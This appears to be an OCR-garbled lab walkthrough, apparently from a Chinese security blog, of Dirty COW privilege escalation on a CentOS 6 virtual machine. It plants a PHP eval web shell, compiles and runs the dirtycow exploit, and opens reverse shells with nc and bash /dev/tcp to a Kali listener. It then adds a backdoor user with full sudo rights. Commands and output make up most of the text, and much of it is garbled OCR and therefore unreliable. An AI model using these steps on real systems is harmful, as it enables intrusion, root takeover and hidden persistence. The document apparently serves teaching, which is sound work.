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Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHELG 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28

Ubuntu 16.04 4.4.0-45.66

Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
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[ xy@centose ZME]E uname -a

Linux centos6. 8 2.6, 32-542, els, xBE5_64 #1 SMP Tue May 10 17:27: 01 UTC 2016 xB5_64
XBG_GB4 x86_64 GNU/Linux
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Z#apache, php: yum -y install httpd php

FENttpARSS . service httpd start

[ root@centosé =E1# setenforce 0

[ rootd@centosé £E]4 /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT

|l root@centosé S H1# service iptables status

T4« filter

Chain INPUT (policy ACCEPT)

num target prot opt source destipnation

l1 ACCEPT tcp --  0.0.0.0/0 0.0.0,0/0 tcp dpti 80

2 ACCEPT all -- 0.0.0.0/0 0,0.0,0/0 state RELATED,

ESTABLISHED

3 ACCEPT icmp --  0.0.0,0/0 00,0, 00 -
4 ACCEPT all -- 0.0.0.0/0 0,000,040

a ACCEPT tcp -- 0.0.0,0/0 0,000,040 state NEW tcp

dpt: 22

& REJECT all -- 0.0,.0,0/0 00,0040 reject-with ic
/mp-host-prohibited

Chain FORWARD (policy ACCEPT) L
num target prot opt source destipnation 1
1 REJECT all -- 0.0,.0,0/0 00,0040 reject-with ic
{mp-host-prohibited

Chain OQUTPUT (policy ACCEPT:

[num  target prot opt source destipnation

|l rootiicentoss =& 14 [] !j
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Sk igfh KiEselinux, BIA: setenforce @

FE80imME: /sbin/iptables -I INPUT -p tcp --dport 80 —-j ACCEPT

LB ER—Thttp

BERHMIBIRS: service iptables status
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echo "<?php eval($_REQUEST[123]) 7?>" > /var/www/html/shell.php
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192.168.19.128/shell.php?123=phpinfo();

PHP 57 5.3.3 php

Rk Linux centos6.8 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64

EiEHE 20194 11 B 1 B 12:28:29

[ */configure’ *--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu’ *--
target=x86_64-redhat-linux-gnu’ "--program-prefix =' '--prefix=/usr' '--exec-prefix=/usr' '--
bindir=/usr/bin' '--sbindir=/usr/sbin" '--sysconfdir=/etc' - -datadir=/usr/share’ '--
includedir=/usr/include' *--libdir=/ust/lib64' *--libexecdir=/usr/libexec’ '--localstatedir=/var' '--
sharedstatedir =/var/lib' --mandir=/usr/share/man’' '--infodir=/usr/share/info' '--cache-
file=_/config.cache' '--with-libdir =lib64' '--with-config-file-path=/etc' '--with-config-file-scan-
dir=/etc/php.d’ *--disable-debug’ --with-pic ' *--disable-rpath’ "--JZH%' '--with-bz2' '--with-
exec-dir=/usr/bin’ '--with-freetype-dir=/usr’ '--with-png-dir=/usr’ '--with-xpm -dir=/usr' '--
enable-gd-native-ttf' '--without-gdbm' '--with-gettext' '--with-gmp' -iconv' '--with-
jpeg-dir=/usr' '--with-openssl' '--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU" --
enable-exif' ' --enable-ftp' *--enable-magic-quotes' '--enable-sockets' *--enable-sysvsem® '--
enable-sysvshm' '--enable-sysvmsg' '--with-kerberos' '--enable-ucd-snmp-hack’ '--enable-
shmop' '--enable-calendar' '--without-sqlite’ --with-libxml-dir=/usr' --enable-xml ' '--with-
system-tzdata' "--with-apxs2=/usr/sbin/apxs' '--without-mysgl' '--without-gd" *--disable-dom’ *-
-disable-dba' *--without-unixODBC' '- -disable-pdo’ '--disable-xmlreader' '--disable-xmlwriter’
'--without-sqlite3' '--disable-phar '--disable-fileinfo' '--disable-json’ '--i&#&-pspell’ *--disable-
wddx' --without-curl’ '--disable-posix’ '--disable-sysvmsg’ '--disable-sysvshm' *--disable-
sysvsem'--without-pspell’ --disable-wddx' "--without-curl' '--disable-posix’ '--disable-sysvmsg’
*--disable-sysvshm' '--disable-sysvsem"--without-pspell’ '--disable-wddx' '--without-curl' '--
disable-posix' '--disable-sysvmsg' '--disable-sysvshm' '--disable-sysvsem’

BRSSO |Apache 2.0 4MBiER

ERERR [EE

i

REXH |/SF

(php.ini)

(e

EERIEE | /etc/php.ini

3

HEkER |/etc/php.d

EATRE S {th

«ini 34

DBHrAIE | /etc/php.d/curlini, /etc/php.d/fileinfo.ini, /etc/php.d/json.ini, Jetc/php.d/pharini, /fetc/php.d

fib .ini X% |/zip.ini

ERWE, EEMER, RBapachelN R

RELR]
AntSword FE BO #ER
« 52 [0 192.168.19.128

T H }‘_' :
L PN

(https://xzfile.aliyuncs.com/media/upload/picture/20210614132837-5e8c68a8-ccd1-1.png)

BES-$E 1R

>_192.168.19.128



https://xzfile.aliyuncs.com/media/upload/picture/20210614132755-45b72408-ccd1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210614132837-5e8c68a8-ccd1-1.png

1. EREFRMNEXP, TR EER/tmp XM AERA BRI H X

expitttlt: https://github.com/FireFart/dirtycow (https://github.com/FireFart/dirtycow)

@ FEws — ] x
AntSword #E HFO #ER
4 H (0 192.168.19.128 >_ 192.168.19.128 »
D BR¥EE (27) < || O SctkFisk (31) PN
+ Il var “ OFE v #LE 2 RIET & I8F MHE > | jemp/ < 1RE
o dbs £ GE: o =
W pulse . N
- vmware-root_ - -UZ-. N :
(] t_1736-860004690 2021-02-24 18:42:42 4 Kb 0700
bin
- b vmware-root_ - -UZ-. N :
(] t_1745-2092907154 2021-02-24 18:47:09 4Kb 0700
oot
— [0 vmware-root_1824-835233476 2020-07-29 08:59:06 4 Kb 0700
[ O vmware-tools-distrib 2019-06-13 20:03:34 4 Kb 0755
M home O vmware-xy 2021-02-24 18:51:06 4 Kb 0700
= b (O vmwarexy_3846-868264185 2021-02-24 18:45:17 4Kb 0700
= ibs4 [N X0-lock 2021-02-24 18:50:57 11b 0444
I (ost+found dirty.c 2021-06-14 12:28:43 4.7 Kb 0644
W media @ yum.log 2020-07-29 08:22:55 0b 0600
M. misc [ yum_save_tx-2020-07-29-09-270G1Qpt.yumtx 2020-07-29 09:27:19 2.78 Kb 0600
| mnt
[ = {55 v
= opt B k3 FE== sl == Figtia]
M proc i dirty.c => /tmp/ LiERETh 2021-06-14 12:28:43  2021-06-14 12:28:43
| oot
| sbin
W selinux
. sy
| sys
S tmp
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2. PBIFEXP:

gcc —-pthread dirty.c -o dirty —lcrypt

3. & RrootXPRAIAF: ./dirty 123

EFE /etc/passwd
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python -c 'import pty; pty.spawn("/bin/sh")"
gipython —-c 'import pty; pty.spawn("/bin/bash")"

SEIshellfir] LAsu#tiTRRE T,

BINRENCBEEEZ D #shell, TTERIN, BMNZNRAG

mtaxkError: invalid
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1. HREN EFBEnclalfr

XHE(F)  hiE(A) 4wis(E) ZFAN) #FEI(H)

# nc -lvvp 1234
listening on [any] 1234 ...
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2. R¥#shell:

nc XEHlip 1234 -e /bin/sh  (BfEHLEENC)
bash -i >& /dev/tcp/XiHEHip/1234 0>&1 (BHFEHLEAENC)

1192.168.19.128 >_192.168.19.128 »_192.168.19.128 1247 14 O & Boo%| a d

SHHF)  #hiE(A) RIE(E) EAH(V) #WEH)
root@Kkali: ~ L] root@kali: ~

:~# nc -lvvp 1234
listening on [any] 1234 ...
connect to [192.168.19.129] from 192.168.19.128 [192.168.19.
/bin/sh: 1bash: ambiguous redirect
sent @, rcvd 35
:~# nc -lvvp 1234
listening on [any] 1234 ...

connect to [192.168.19.129] from 192.168.19.128 [192.168.19.
bash: no job control in this shell
bash-4.1% I

) su fir
d in must
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python -c 'import pty; pty.spawn("/bin/sh")'
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:~# nc -lvvp 1234
listening on [any] 1234 ...
connect to [192.168.19.129] from 192.168.19.128 [192.168.19.128] 34563
bash: no job control in this shell
bash-4.1% python -c 'import pty; pty.spawn("/bin/sh")’
python -c 'import pty; pty.spawn("/bin/sh")’

sh-4.1% su firefart
su firefart
Password: 123

[firefart@centos6 tmpH |
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BFDREBRAF

XEEICESANBEEOhXEERFErootBF: " "mv /tmp/passwd.bak /etc/passwd

@centos6:/tmp ® root@kali: ~

su firefart
Password: 123

[firefart@centos6 tmpH mv /tmp/passwd.bak /etc/passwd
mv /tmp/passwd.bak /etc/passwd

mv: overwrite /etc/passwd'? y

y

[firefart@centos6 tmpH cat /etc/passwd

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/1lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: /usr/games:/shin/nologin
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1. FNAR, BfMadduser® S RM— M EBAR, HOMT:

adduser qaz//RxM—"T&NabcAEF
passwd qaz //{8H G
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[firefartgcentos6 tmpH adduser gaz
adduser qaz

[firefart@centos6 tmpHf passwd gaz
passwd gaz

Changing password for user gaz.

New password: 123

BAD PASSWORD: it is WAY too short
BAD PASSWORD: is too simple
Retype new password: 123

passwd: all authentication tokens updated successfully.
[firefartacentos6 tmpH |
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2. ME-FroottNfR

82X /etc/sudoers XfF, HEITE—1T, #Eroot FEIAM—IT, W TFAR:

root ALL=(ALL) ALL
qaz ALL=(ALL) ALL

BEEBEXHNRE, RKINFEIRIsheliEZH 0
@centos6:/tmp
XAHF) EhEA) EEEE) EAV) FEIH)
@centos6:/ftmp = root@kali: ~

“[os"[oB"[0B"[0B"[0B"[0B]]
CAamples are provided at the bottom of the file for collections
of related commands, which can then be delegated out to particular
users or groups.

This file must be edited with the 'visudo' command.

Host Aliases
Groups of machines. You may prefer to use hostnames (perhaps using

TEHE BEEBRE

wildcards for entire domains) or IP addresses instead.
# Host_Alias FILESERVERS = fs1, fs2
# Host_Alias MAILSERVERS = smtp, smtp2

## User Aliases

## These aren't often necessary, as you can use regular groups

it (ie, from files, LDAP, NIS, etc) in this file - just use %groupname
## rather than USERALIAS

# User_Alias ADMINS = jsmith, mikem

"/etc/sudoers" [readonly] 111L, 3729C

## Command Aliases
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1, Ctrl-Z -1 EFERIaRTHNSSREES, HEEE
2, stty raw -echo //REREWMAARLELDE (HAERE LWAN, AALINERSL)
3. fg BEaTNa<BEENSRZLETT

MEMAIAERE BT
@centos6:/tmp % root@kali: ~

Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin

Next comes the main part: which users can run what software on
which machines (the sudoers file can be shared between multiple
systems).

Syntax:

user MACHINE=COMMANDS

The COMMANDS section may have other options added to it.

H
H
H
H
H
=
izt
i
H

# Allow root to run any commands anywhere

root ALL=(ALL) ALL

qaz ALL=(ALL) ALLY

## The COMMANDS section may have other options added to it.
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